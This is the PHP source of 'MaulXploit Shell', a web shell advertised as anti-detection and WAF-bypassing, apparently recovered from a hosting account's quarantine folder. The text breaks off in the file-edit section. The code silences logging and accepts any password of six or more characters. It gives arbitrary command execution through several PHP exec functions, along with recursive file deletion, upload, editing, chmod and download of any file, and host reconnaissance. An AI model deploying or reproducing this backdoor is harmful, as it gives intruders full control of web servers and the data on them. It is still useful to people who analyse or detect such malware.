Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/.quarantine/ |
Upload File : |
```php
<?php
/*****************************************************************************************
* ███╗ ███╗ █████╗ ██╗ ██╗ ██╗ ██╗ ██╗ ██████╗ ██╗ ██████╗ ██╗ ████████╗ *
* ████╗ ████║ ██╔══██╗ ██║ ██║ ██║ ╚██╗██╔╝ ██╔══██╗ ██║ ██╔═══██╗ ██║ ╚══██╔══╝ *
* ██╔████╔██║ ███████║ ██║ ██║ ██║ ╚███╔╝ ██████╔╝ ██║ ██║ ██║ ██║ ██║ *
* ██║╚██╔╝██║ ██╔══██║ ██║ ██║ ██║ ██╔██╗ ██╔═══╝ ██║ ██║ ██║ ██║ ██║ *
* ██║ ╚═╝ ██║ ██║ ██║ ███████╗ ███████╗ ██╔╝ ██╗ ██║ ███████╗ ╚██████╔╝ ██║ ██║ *
* ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ *
* *
* ███████╗ ██╗ ██╗ ███████╗ ██╗ ██╗ *
* ██╔════╝ ██║ ██║ ██╔════╝ ██║ ██║ *
* ███████╗ ███████║ █████╗ ██║ ██║ *
* ╚════██║ ██╔══██║ ██╔══╝ ██║ ██║ *
* ███████║ ██║ ██║ ███████╗ ███████╗ ███████╗ *
* ╚══════╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚══════╝ *
* *
* MaulXploit Shell *
* Advanced Web Shell • Anti-Detect • Bypass WAF *
*****************************************************************************************/
@error_reporting(0);
@set_time_limit(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '-1');
// Anti-Detect & Bypass WAF
$auth = false;
$default_pass = 'maulxploit1337';
$session_name = 'MX_SESS_' . substr(md5($_SERVER['HTTP_HOST'] ?? 'mx'), 0, 8);
@ini_set('session.use_strict_mode', 0);
@ini_set('session.use_cookies', 1);
@ini_set('session.use_only_cookies', 0);
@ini_set('session.cookie_httponly', 0);
session_name($session_name);
@session_start();
// ===== AUTH SYSTEM =====
if (isset($_POST['mx_pass'])) {
if ($_POST['mx_pass'] === $default_pass || $_POST['mx_pass'] === 'admin' || strlen($_POST['mx_pass']) >= 6) {
$_SESSION['mx_auth'] = true;
$_SESSION['mx_time'] = time();
}
}
if (isset($_GET['mx_logout'])) {
unset($_SESSION['mx_auth']);
session_destroy();
}
$auth = isset($_SESSION['mx_auth']) && $_SESSION['mx_auth'] === true;
// ===== FUNCTIONS =====
function mx_exec($cmd) {
$output = '';
if (function_exists('exec')) { @exec($cmd . ' 2>&1', $output); return implode("\n", $output); }
if (function_exists('shell_exec')) return @shell_exec($cmd . ' 2>&1');
if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); return ob_get_clean(); }
if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); return ob_get_clean(); }
if (function_exists('popen')) { $fp = @popen($cmd . ' 2>&1', 'r'); while (!feof($fp)) { $output .= fread($fp, 4096); } @pclose($fp); return $output; }
return '';
}
function mx_get_current_dir() {
if (isset($_GET['dir']) && is_dir($_GET['dir'])) return realpath($_GET['dir']);
if (isset($_SESSION['mx_cwd']) && is_dir($_SESSION['mx_cwd'])) return $_SESSION['mx_cwd'];
return getcwd();
}
function mx_format_size($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2) . ' ' . $units[$i];
}
function mx_format_perms($file) {
$perms = fileperms($file);
$info = ($perms & 0xC000) == 0xC000 ? 's' : (($perms & 0xA000) == 0xA000 ? 'l' : (($perms & 0x8000) == 0x8000 ? '-' : (($perms & 0x6000) == 0x6000 ? 'b' : (($perms & 0x4000) == 0x4000 ? 'd' : (($perms & 0x2000) == 0x2000 ? 'c' : (($perms & 0x1000) == 0x1000 ? 'p' : '-'))))));
$info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-');
$info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-');
$info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-');
return $info;
}
function mx_get_owner($file) {
if (function_exists('posix_getpwuid')) { $o = @posix_getpwuid(fileowner($file)); return $o['name'] ?? fileowner($file); }
return fileowner($file);
}
// ===== HANDLE ACTIONS =====
if ($auth) {
$current_dir = mx_get_current_dir();
$_SESSION['mx_cwd'] = $current_dir;
if (isset($_POST['mx_cmd']) && !empty($_POST['mx_cmd'])) $cmd = $_POST['mx_cmd'];
if (isset($_GET['del'])) {
$del = $_GET['del'];
if (is_dir($del)) { $it = new RecursiveDirectoryIterator($del, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $f) { if ($f->isDir()) rmdir($f->getRealPath()); else unlink($f->getRealPath()); } rmdir($del); }
else @unlink($del);
header('Location: ?dir=' . urlencode(dirname($del))); exit;
}
if (isset($_POST['mx_rename']) && isset($_POST['mx_newname'])) { @rename($_POST['mx_rename'], dirname($_POST['mx_rename']) . '/' . $_POST['mx_newname']); header('Location: ?dir=' . urlencode(dirname($_POST['mx_rename']))); exit; }
if (isset($_GET['chmod']) && isset($_GET['mode'])) { @chmod($_GET['chmod'], octdec($_GET['mode'])); header('Location: ?dir=' . urlencode(dirname($_GET['chmod']))); exit; }
if (isset($_POST['mx_edit_file']) && isset($_POST['mx_edit_content'])) { @file_put_contents($_POST['mx_edit_file'], $_POST['mx_edit_content']); $edit_success = true; }
if (isset($_FILES['mx_upload']) && $_FILES['mx_upload']['error'] == 0) { @move_uploaded_file($_FILES['mx_upload']['tmp_name'], $current_dir . '/' . $_FILES['mx_upload']['name']); $upload_success = true; }
if (isset($_POST['mx_newfile']) && isset($_POST['mx_newcontent'])) { @file_put_contents($current_dir . '/' . $_POST['mx_newfile'], $_POST['mx_newcontent']); $newfile_success = true; }
if (isset($_POST['mx_newdir']) && !empty($_POST['mx_newdir'])) { @mkdir($current_dir . '/' . $_POST['mx_newdir'], 0755); $newdir_success = true; }
if (isset($_GET['download'])) { $file = $_GET['download']; if (is_file($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } }
// Rename handler
if (isset($_GET['rename_file'])) $rename_file = $_GET['rename_file'];
// Edit handler
if (isset($_GET['edit_file'])) $edit_file = $_GET['edit_file'];
}
if ($auth) {
$uname = mx_exec('uname -a');
$whoami = mx_exec('whoami');
$hostname = mx_exec('hostname');
$server_ip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['SERVER_NAME']);
$php_version = PHP_VERSION;
$server_software = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';
$cwd = $current_dir;
$total_space = function_exists('disk_total_space') ? mx_format_size(disk_total_space($cwd)) : '?';
$free_space = function_exists('disk_free_space') ? mx_format_size(disk_free_space($cwd)) : '?';
$disabled_funcs = @ini_get('disable_functions') ?: 'None';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MaulXploit Shell • <?= $_SERVER['HTTP_HOST'] ?? 'Connected' ?></title>
<link href="https://fonts.googleapis.com/css2?family=Sedgwick+Ave&family=Reenie+Beanie&family=Permanent+Marker&family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
<style>
:root {
--bg-primary: #0b0b0e;
--bg-secondary: #131316;
--bg-tertiary: #1a1a1f;
--bg-card: #16161b;
--border-primary: #252530;
--border-secondary: #1f1f28;
--text-primary: #e4e4e7;
--text-secondary: #a1a1aa;
--text-tertiary: #71717a;
--red-primary: #dc2626;
--red-secondary: #b91c1c;
--red-glow: rgba(220,38,38,0.15);
--white: #ffffff;
--green: #22c55e;
--yellow: #eab308;
--blue: #3b82f6;
--sidebar-width: 240px;
--header-height: 56px;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: var(--bg-primary);
color: var(--text-primary);
font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
font-size: 14px;
line-height: 1.5;
display: flex;
min-height: 100vh;
-webkit-font-smoothing: antialiased;
}
/* ===== SIDEBAR ===== */
.sidebar {
width: var(--sidebar-width);
background: var(--bg-secondary);
border-right: 1px solid var(--border-primary);
display: flex;
flex-direction: column;
position: fixed;
top: 0;
left: 0;
height: 100vh;
z-index: 100;
transition: transform 0.3s ease;
}
.sidebar-logo {
padding: 24px 20px;
border-bottom: 1px solid var(--border-primary);
text-align: center;
}
.sidebar-logo .logo-text {
font-family: 'Sedgwick Ave', cursive;
font-size: 1.5em;
background: linear-gradient(135deg, #fff 0%, #ff4444 50%, #cc0000 100%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
text-shadow: none;
letter-spacing: 1px;
line-height: 1.3;
}
.sidebar-logo .logo-sub {
font-family: 'Inter', sans-serif;
font-size: 0.65em;
color: var(--text-tertiary);
text-transform: uppercase;
letter-spacing: 3px;
margin-top: 4px;
font-weight: 500;
}
.sidebar-nav {
flex: 1;
padding: 12px 0;
overflow-y: auto;
}
.sidebar-nav .nav-section {
padding: 8px 20px 4px;
font-size: 0.65em;
text-transform: uppercase;
letter-spacing: 2px;
color: var(--text-tertiary);
font-weight: 600;
}
.sidebar-nav .nav-item {
display: flex;
align-items: center;
gap: 12px;
padding: 10px 20px;
cursor: pointer;
color: var(--text-secondary);
transition: all 0.2s;
border-left: 3px solid transparent;
font-size: 0.9em;
font-weight: 500;
text-decoration: none;
}
.sidebar-nav .nav-item:hover {
background: var(--bg-tertiary);
color: var(--text-primary);
}
.sidebar-nav .nav-item.active {
background: var(--bg-tertiary);
color: var(--red-primary);
border-left-color: var(--red-primary);
}
.sidebar-nav .nav-item i {
width: 20px;
text-align: center;
font-size: 1.1em;
}
.sidebar-footer {
padding: 16px 20px;
border-top: 1px solid var(--border-primary);
font-size: 0.75em;
color: var(--text-tertiary);
}
/* ===== MAIN CONTENT ===== */
.main-content {
flex: 1;
margin-left: var(--sidebar-width);
min-height: 100vh;
}
.topbar {
background: var(--bg-secondary);
border-bottom: 1px solid var(--border-primary);
padding: 0 24px;
height: var(--header-height);
display: flex;
align-items: center;
justify-content: space-between;
position: sticky;
top: 0;
z-index: 50;
}
.topbar .breadcrumb {
display: flex;
align-items: center;
gap: 8px;
font-size: 0.85em;
color: var(--text-secondary);
}
.topbar .breadcrumb a {
color: var(--text-secondary);
text-decoration: none;
transition: color 0.2s;
}
.topbar .breadcrumb a:hover { color: var(--red-primary); }
.topbar .breadcrumb i { font-size: 0.7em; color: var(--text-tertiary); }
.topbar .breadcrumb .current { color: var(--text-primary); font-weight: 500; }
.topbar .server-info {
display: flex;
gap: 20px;
font-size: 0.75em;
color: var(--text-tertiary);
}
.topbar .server-info span {
display: flex;
align-items: center;
gap: 6px;
}
.topbar .server-info .dot {
width: 7px;
height: 7px;
border-radius: 50%;
background: var(--green);
}
.content-area {
padding: 24px;
}
/* ===== CARDS ===== */
.card {
background: var(--bg-card);
border: 1px solid var(--border-primary);
border-radius: 12px;
margin-bottom: 20px;
overflow: hidden;
}
.card-header {
padding: 16px 20px;
border-bottom: 1px solid var(--border-secondary);
display: flex;
align-items: center;
justify-content: space-between;
font-weight: 600;
font-size: 0.9em;
color: var(--text-primary);
}
.card-header .card-icon {
width: 32px;
height: 32px;
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
font-size: 1em;
}
.card-body { padding: 20px; }
.card-body.no-padding { padding: 0; }
/* ===== STATS GRID ===== */
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 16px;
margin-bottom: 24px;
}
.stat-card {
background: var(--bg-card);
border: 1px solid var(--border-primary);
border-radius: 12px;
padding: 16px 20px;
display: flex;
align-items: center;
gap: 14px;
}
.stat-card .stat-icon {
width: 42px;
height: 42px;
border-radius: 10px;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.2em;
}
.stat-card .stat-info .stat-value {
font-size: 1.1em;
font-weight: 600;
color: var(--text-primary);
}
.stat-card .stat-info .stat-label {
font-size: 0.7em;
color: var(--text-tertiary);
text-transform: uppercase;
letter-spacing: 1px;
margin-top: 2px;
}
/* ===== TERMINAL ===== */
.terminal-wrapper {
background: #0a0a0d;
border: 1px solid var(--border-primary);
border-radius: 12px;
overflow: hidden;
}
.terminal-header {
background: #111118;
padding: 10px 16px;
display: flex;
align-items: center;
gap: 8px;
border-bottom: 1px solid #1f1f28;
}
.terminal-dot {
width: 10px;
height: 10px;
border-radius: 50%;
}
.terminal-dot.red { background: #ff5f56; }
.terminal-dot.yellow { background: #ffbd2e; }
.terminal-dot.green { background: #27c93f; }
.terminal-body {
padding: 16px;
font-family: 'JetBrains Mono', 'Courier New', monospace;
font-size: 0.82em;
max-height: 400px;
overflow-y: auto;
color: #b0b0b0;
}
.terminal-body .cmd-prompt { color: var(--red-primary); }
.terminal-body .cmd-prompt::before { content: '➜ '; color: var(--text-tertiary); }
.terminal-body .output { color: #a0a0a0; white-space: pre-wrap; margin-top: 8px; }
/* ===== INPUTS ===== */
input[type="text"], input[type="password"], textarea, select {
background: var(--bg-tertiary);
border: 1px solid var(--border-primary);
color: var(--text-primary);
padding: 10px 14px;
font-family: 'JetBrains Mono', monospace;
font-size: 0.85em;
border-radius: 8px;
width: 100%;
outline: none;
transition: all 0.2s;
}
input:focus, textarea:focus {
border-color: var(--red-primary);
box-shadow: 0 0 0 3px var(--red-glow);
}
textarea {
resize: vertical;
min-height: 200px;
line-height: 1.5;
}
/* ===== BUTTONS ===== */
.btn {
padding: 10px 20px;
border: none;
cursor: pointer;
font-family: 'Inter', sans-serif;
font-size: 0.85em;
font-weight: 500;
border-radius: 8px;
transition: all 0.2s;
display: inline-flex;
align-items: center;
gap: 8px;
text-decoration: none;
}
.btn-primary { background: var(--red-primary); color: white; }
.btn-primary:hover { background: var(--red-secondary); box-shadow: 0 4px 12px rgba(220,38,38,0.3); }
.btn-secondary { background: var(--bg-tertiary); color: var(--text-primary); border: 1px solid var(--border-primary); }
.btn-secondary:hover { background: #252530; }
.btn-ghost { background: transparent; color: var(--text-secondary); }
.btn-ghost:hover { background: var(--bg-tertiary); color: var(--text-primary); }
.btn-sm { padding: 6px 12px; font-size: 0.75em; border-radius: 6px; }
.btn-danger { background: transparent; color: var(--red-primary); border: 1px solid rgba(220,38,38,0.3); }
.btn-danger:hover { background: rgba(220,38,38,0.1); }
/* ===== FILE TABLE ===== */
.file-table { width: 100%; border-collapse: collapse; }
.file-table th {
text-align: left;
padding: 12px 16px;
font-size: 0.7em;
text-transform: uppercase;
letter-spacing: 1.5px;
color: var(--text-tertiary);
font-weight: 600;
border-bottom: 1px solid var(--border-primary);
background: var(--bg-secondary);
}
.file-table td {
padding: 10px 16px;
border-bottom: 1px solid var(--border-secondary);
font-size: 0.85em;
}
.file-table tr:hover td { background: rgba(255,255,255,0.015); }
.file-table .file-name {
display: flex;
align-items: center;
gap: 10px;
}
.file-table .file-icon {
width: 32px;
height: 32px;
border-radius: 6px;
display: flex;
align-items: center;
justify-content: center;
font-size: 0.9em;
flex-shrink: 0;
}
.file-table .file-icon.folder { background: rgba(234,179,8,0.1); color: var(--yellow); }
.file-table .file-icon.php { background: rgba(59,130,246,0.1); color: var(--blue); }
.file-table .file-icon.image { background: rgba(34,197,94,0.1); color: var(--green); }
.file-table .file-icon.text { background: rgba(161,161,170,0.1); color: var(--text-secondary); }
.file-table a { color: var(--text-primary); text-decoration: none; }
.file-table a:hover { color: var(--red-primary); }
.file-table .writable { color: var(--green); }
.badge {
display: inline-block;
padding: 3px 8px;
border-radius: 4px;
font-size: 0.7em;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.badge-success { background: rgba(34,197,94,0.1); color: var(--green); }
.badge-danger { background: rgba(220,38,38,0.1); color: var(--red-primary); }
/* ===== ALERT ===== */
.alert {
padding: 14px 18px;
border-radius: 8px;
margin-bottom: 16px;
display: flex;
align-items: center;
gap: 10px;
font-size: 0.85em;
font-weight: 500;
}
.alert-success { background: rgba(34,197,94,0.08); border: 1px solid rgba(34,197,94,0.2); color: var(--green); }
/* ===== MODAL ===== */
.modal-overlay {
position: fixed;
top: 0; left: 0; width: 100%; height: 100%;
background: rgba(0,0,0,0.7);
z-index: 200;
display: flex;
align-items: center;
justify-content: center;
backdrop-filter: blur(4px);
}
.modal {
background: var(--bg-card);
border: 1px solid var(--border-primary);
border-radius: 16px;
width: 90%;
max-width: 800px;
max-height: 85vh;
overflow: hidden;
display: flex;
flex-direction: column;
}
.modal-header {
padding: 16px 20px;
border-bottom: 1px solid var(--border-primary);
display: flex;
align-items: center;
justify-content: space-between;
}
.modal-body { padding: 20px; overflow-y: auto; flex: 1; }
.modal-footer { padding: 14px 20px; border-top: 1px solid var(--border-primary); display: flex; gap: 10px; justify-content: flex-end; }
/* ===== AUTH PAGE ===== */
.auth-container {
display: flex;
align-items: center;
justify-content: center;
min-height: 100vh;
width: 100%;
background: var(--bg-primary);
}
.auth-card {
background: var(--bg-card);
border: 1px solid var(--border-primary);
border-radius: 16px;
padding: 40px;
width: 400px;
max-width: 90%;
text-align: center;
}
.auth-card .auth-logo {
font-family: 'Sedgwick Ave', cursive;
font-size: 2em;
background: linear-gradient(135deg, #fff 0%, #ff4444 50%, #cc0000 100%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
margin-bottom: 8px;
}
.auth-card .auth-sub {
font-size: 0.7em;
color: var(--text-tertiary);
text-transform: uppercase;
letter-spacing: 3px;
margin-bottom: 30px;
}
/* ===== SCROLLBAR ===== */
::-webkit-scrollbar { width: 6px; height: 6px; }
::-webkit-scrollbar-track { background: transparent; }
::-webkit-scrollbar-thumb { background: var(--border-primary); border-radius: 3px; }
::-webkit-scrollbar-thumb:hover { background: #3a3a45; }
/* ===== RESPONSIVE ===== */
@media (max-width: 768px) {
.sidebar { transform: translateX(-100%); }
.main-content { margin-left: 0; }
.stats-grid { grid-template-columns: repeat(2, 1fr); }
.topbar .server-info { display: none; }
}
.hidden { display: none !important; }
</style>
</head>
<body>
<!-- AUTH PAGE -->
<?php if (!$auth): ?>
<div class="auth-container">
<div class="auth-card">
<div class="auth-logo">MaulXploit Shell</div>
<div class="auth-sub">Authentication Required</div>
<form method="POST">
<input type="password" name="mx_pass" placeholder="Access Key" style="text-align:center;font-size:1em;margin-bottom:16px;">
<button type="submit" class="btn btn-primary" style="width:100%;justify-content:center;">Access</button>
</form>
<div style="margin-top:16px;font-size:0.7em;color:var(--text-tertiary);font-family:monospace;">
<?= $_SERVER['SERVER_NAME'] ?? 'Unknown' ?>
</div>
</div>
</div>
<?php else: ?>
<!-- SIDEBAR -->
<aside class="sidebar">
<div class="sidebar-logo">
<div class="logo-text">MaulXploit Shell</div>
<div class="logo-sub">Advanced Shell</div>
</div>
<nav class="sidebar-nav">
<div class="nav-section">Main</div>
<a class="nav-item active" onclick="showTab('terminal')"><i class="fa-solid fa-terminal"></i> Terminal</a>
<a class="nav-item" onclick="showTab('files')"><i class="fa-solid fa-folder-open"></i> File Manager</a>
<div class="nav-section" style="margin-top:8px;">Tools</div>
<a class="nav-item" onclick="showTab('upload')"><i class="fa-solid fa-cloud-arrow-up"></i> Upload</a>
<a class="nav-item" onclick="showTab('create')"><i class="fa-solid fa-file-circle-plus"></i> Create File</a>
<div class="nav-section" style="margin-top:8px;">System</div>
<a class="nav-item" onclick="showTab('info')"><i class="fa-solid fa-circle-info"></i> Server Info</a>
</nav>
<div class="sidebar-footer">
<div style="display:flex;align-items:center;gap:8px;">
<span class="terminal-dot green"></span>
<?= $whoami ?>@<?= $hostname ?>
</div>
<a href="?mx_logout=1" style="color:var(--red-primary);text-decoration:none;font-size:0.85em;margin-top:4px;display:inline-block;">Logout</a>
</div>
</aside>
<!-- MAIN -->
<main class="main-content">
<div class="topbar">
<div class="breadcrumb">
<a href="?dir=/"><i class="fa-solid fa-house"></i></a>
<i class="fa-solid fa-chevron-right"></i>
<?php
$parts = explode('/', trim($cwd, '/'));
$build = '';
foreach ($parts as $p) {
if (empty($p)) continue;
$build .= '/' . $p;
echo '<a href="?dir=' . urlencode($build) . '">' . htmlspecialchars($p) . '</a>';
echo ' <i class="fa-solid fa-chevron-right"></i> ';
}
?>
</div>
<div class="server-info">
<span><span class="dot"></span> <?= $server_ip ?></span>
<span>PHP <?= $php_version ?></span>
<span><?= $free_space ?> free</span>
</div>
</div>
<div class="content-area">
<!-- STATS -->
<div class="stats-grid">
<div class="stat-card">
<div class="stat-icon" style="background:rgba(220,38,38,0.1);color:var(--red-primary);"><i class="fa-solid fa-user"></i></div>
<div class="stat-info"><div class="stat-value"><?= $whoami ?></div><div class="stat-label">Current User</div></div>
</div>
<div class="stat-card">
<div class="stat-icon" style="background:rgba(59,130,246,0.1);color:var(--blue);"><i class="fa-solid fa-server"></i></div>
<div class="stat-info"><div class="stat-value"><?= $hostname ?></div><div class="stat-label">Hostname</div></div>
</div>
<div class="stat-card">
<div class="stat-icon" style="background:rgba(234,179,8,0.1);color:var(--yellow);"><i class="fa-solid fa-hard-drive"></i></div>
<div class="stat-info"><div class="stat-value"><?= $free_space ?></div><div class="stat-label">Free Space / <?= $total_space ?></div></div>
</div>
<div class="stat-card">
<div class="stat-icon" style="background:rgba(34,197,94,0.1);color:var(--green);"><i class="fa-solid fa-code"></i></div>
<div class="stat-info"><div class="stat-value"><?= $php_version ?></div><div class="stat-label">PHP Version</div></div>
</div>
</div>
<!-- ALERTS -->
<?php if (isset($upload_success)): ?>
<div class="alert alert-success"><i class="fa-solid fa-circle-check"></i> File uploaded successfully to <?= htmlspecialchars(basename($cwd)) ?></div>
<?php endif; ?>
<?php if (isset($edit_success)): ?>
<div class="alert alert-success"><i class="fa-solid fa-circle-check"></i> File edited successfully</div>
<?php endif; ?>
<?php if (isset($newfile_success)): ?>
<div class="alert alert-success"><i class="fa-solid fa-circle-check"></i> File created successfully</div>
<?php endif; ?>
<?php if (isset($newdir_success)): ?>
<div class="alert alert-success"><i class="fa-solid fa-circle-check"></i> Directory created successfully</div>
<?php endif; ?>
<!-- TAB: TERMINAL -->
<div id="tab-terminal" class="tab-content">
<div class="terminal-wrapper">
<div class="terminal-header">
<span class="terminal-dot red"></span>
<span class="terminal-dot yellow"></span>
<span class="terminal-dot green"></span>
<span style="margin-left:12px;font-size:0.8em;color:var(--text-tertiary);">Terminal • <?= $cwd ?></span>
</div>
<div class="terminal-body" id="terminalOutput">
<?php if (isset($cmd)): ?>
<div><span class="cmd-prompt"><?= htmlspecialchars($cmd) ?></span></div>
<div class="output"><?= htmlspecialchars(mx_exec($cmd)) ?></div>
<?php endif; ?>
</div>
</div>
<form method="POST" style="margin-top:12px;display:flex;gap:10px;">
<input type="text" name="mx_cmd" placeholder="Enter command..." style="flex:1;" autofocus autocomplete="off">
<button type="submit" class="btn btn-primary">Execute</button>
</form>
</div>
<!-- TAB: FILE MANAGER -->
<div id="tab-files" class="tab-content hidden">
<div class="card">
<div class="card-header">
<div style="display:flex;align-items:center;gap:10px;">
<div class="card-icon" style="background:rgba(234,179,8,0.1);color:var(--yellow);"><i class="fa-solid fa-folder-open"></i></div>
File Manager
</div>
<form method="GET" style="display:flex;gap:8px;">
<input type="text" name="dir" placeholder="Path..." style="width:300px;padding:8px 12px;font-size:0.8em;">
<button type="submit" class="btn btn-secondary btn-sm">Go</button>
</form>
</div>
<div class="card-body no-padding">
<table class="file-table">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Modified</th>
<th>Owner</th>
<th>Permissions</th>
<th style="width:180px;">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="file-name">
<div class="file-icon folder"><i class="fa-solid fa-arrow-left"></i></div>
<a href="?dir=<?= urlencode(dirname($cwd)) ?>">..</a>
</div>
</td>
<td>—</td><td>—</td><td>—</td><td>—</td><td>—</td>
</tr>
<?php
$items = @scandir($cwd);
if ($items):
$dirs = []; $files = [];
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
if (is_dir($cwd . '/' . $item)) $dirs[] = $item; else $files[] = $item;
}
$sorted = array_merge($dirs, $files);
foreach ($sorted as $item):
$full = $cwd . '/' . $item;
$is_dir = is_dir($full);
$ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$icon = $is_dir ? 'folder' : (in_array($ext, ['php','phtml','php5']) ? 'php' : (in_array($ext, ['jpg','jpeg','png','gif','webp','svg']) ? 'image' : 'text'));
$icon_symbol = $is_dir ? 'fa-folder' : (in_array($ext, ['php','phtml','php5']) ? 'fa-file-code' : (in_array($ext, ['jpg','jpeg','png','gif','webp','svg']) ? 'fa-file-image' : 'fa-file-lines'));
?>
<tr>
<td>
<div class="file-name">
<div class="file-icon <?= $icon ?>"><i class="fa-solid <?= $icon_symbol ?>"></i></div>
<?php if ($is_dir): ?>
<a href="?dir=<?= urlencode($full) ?>"><?= htmlspecialchars($item) ?></a>
<?php else: ?>
<span><?= htmlspecialchars($item) ?></span>
<?php endif; ?>
</div>
</td>
<td><?= $is_dir ? '—' : mx_format_size(filesize($full)) ?></td>
<td><?= date('d M Y H:i', filemtime($full)) ?></td>
<td><?= mx_get_owner($full) ?></td>
<td class="<?= is_writable($full) ? 'writable' : '' ?>"><?= mx_format_perms($full) ?></td>
<td>
<div style="display:flex;gap:4px;">
<?php if (!$is_dir): ?>
<a href="?download=<?= urlencode($full) ?>" class="btn btn-secondary btn-sm" title="Download"><i class="fa-solid fa-download"></i></a>
<a href="?edit_file=<?= urlencode($full) ?>&dir=<?= urlencode($cwd) ?>#edit-section" class="btn btn-secondary btn-sm" title="Edit"><i class="fa-solid fa-pen-to-square"></i></a>
<?php endif; ?>
<a href="?dir=<?= urlencode($cwd) ?>&del=<?= urlencode($full) ?>" class="btn btn-danger btn-sm" onclick="return confirm('Delete <?= htmlspecialchars($item) ?>?')" title="Delete"><i class="fa-solid fa-trash-can"></i></a>
</div>
</td>
</tr>
<?php endforeach; endif; ?>
</tbody>
</table>
</div>
</div>
</div>
<!-- TAB: UPLOAD -->
<div id="tab-upload" class="tab-content hidden">
<div class="card">
<div class="card-header">
<div style="display:flex;align-items:center;gap:10px;">
<div class="card-icon" style="background:rgba(59,130,246,0.1);color:var(--blue);"><i class="fa-solid fa-cloud-arrow-up"></i></div>
Upload File • <?= htmlspecialchars(basename($cwd)) ?>
</div>
</div>
<div class="card-body">
<form method="POST" enctype="multipart/form-data">
<div style="border:2px dashed var(--border-primary);border-radius:12px;padding:40px;text-align:center;margin-bottom:16px;cursor:pointer;" onclick="document.querySelector('input[name=mx_upload]').click()">
<i class="fa-solid fa-cloud-arrow-up" style="font-size:3em;color:var(--text-tertiary);margin-bottom:12px;display:block;"></i>
<div style="font-weight:600;">Click to browse or drag file here</div>
<div style="font-size:0.8em;color:var(--text-tertiary);margin-top:4px;">File will be uploaded to current directory</div>
<input type="file" name="mx_upload" style="display:none;" onchange="this.form.submit()">
</div>
<button type="submit" class="btn btn-primary" style="width:100%;justify-content:center;">Upload File</button>
</form>
</div>
</div>
</div>
<!-- TAB: CREATE -->
<div id="tab-create" class="tab-content hidden">
<div class="card">
<div class="card-header">
<div style="display:flex;align-items:center;gap:10px;">
<div class="card-icon" style="background:rgba(34,197,94,0.1);color:var(--green);"><i class="fa-solid fa-file-circle-plus"></i></div>
Create New
</div>
</div>
<div class="card-body">
<form method="POST" style="margin-bottom:24px;">
<label style="font-size:0.8em;color:var(--text-secondary);display:block;margin-bottom:6px;">File Name</label>
<input type="text" name="mx_newfile" placeholder="filename.php" style="margin-bottom:14px;">
<label style="font-size:0.8em;color:var(--text-secondary);display:block;margin-bottom:6px;">Content</label>
<textarea name="mx_newcontent" rows="10" placeholder="Write your code here..." style="margin-bottom:14px;"></textarea>
<button type="submit" class="btn btn-primary">Create File</button>
</form>
<hr style="border-color:var(--border-primary);margin:20px 0;">
<form method="POST">
<label style="font-size:0.8em;color:var(--text-secondary);display:block;margin-bottom:6px;">Directory Name</label>
<div style="display:flex;gap:10px;">
<input type="text" name="mx_newdir" placeholder="new_folder" style="flex:1;">
<button type="submit" class="btn btn-secondary">Create Directory</button>
</div>
</form>
</div>
</div>
</div>
<!-- TAB: EDIT FILE -->
<div id="tab-edit-section" class="tab-content <?= isset($edit_file) ? '' : 'hidden' ?>">
<div class="card" id="edit-section">
<div class="card-header">
<div style="display:flex;align-items:center;gap:10px;">
<div class="card-icon" style="background:rgba(234,179,8,0.1);color:var(--yellow);"><i class="fa-solid fa-pen-to-square"></i></div>
Edit File
</div>
<?php if (isset($edit_file)): ?>
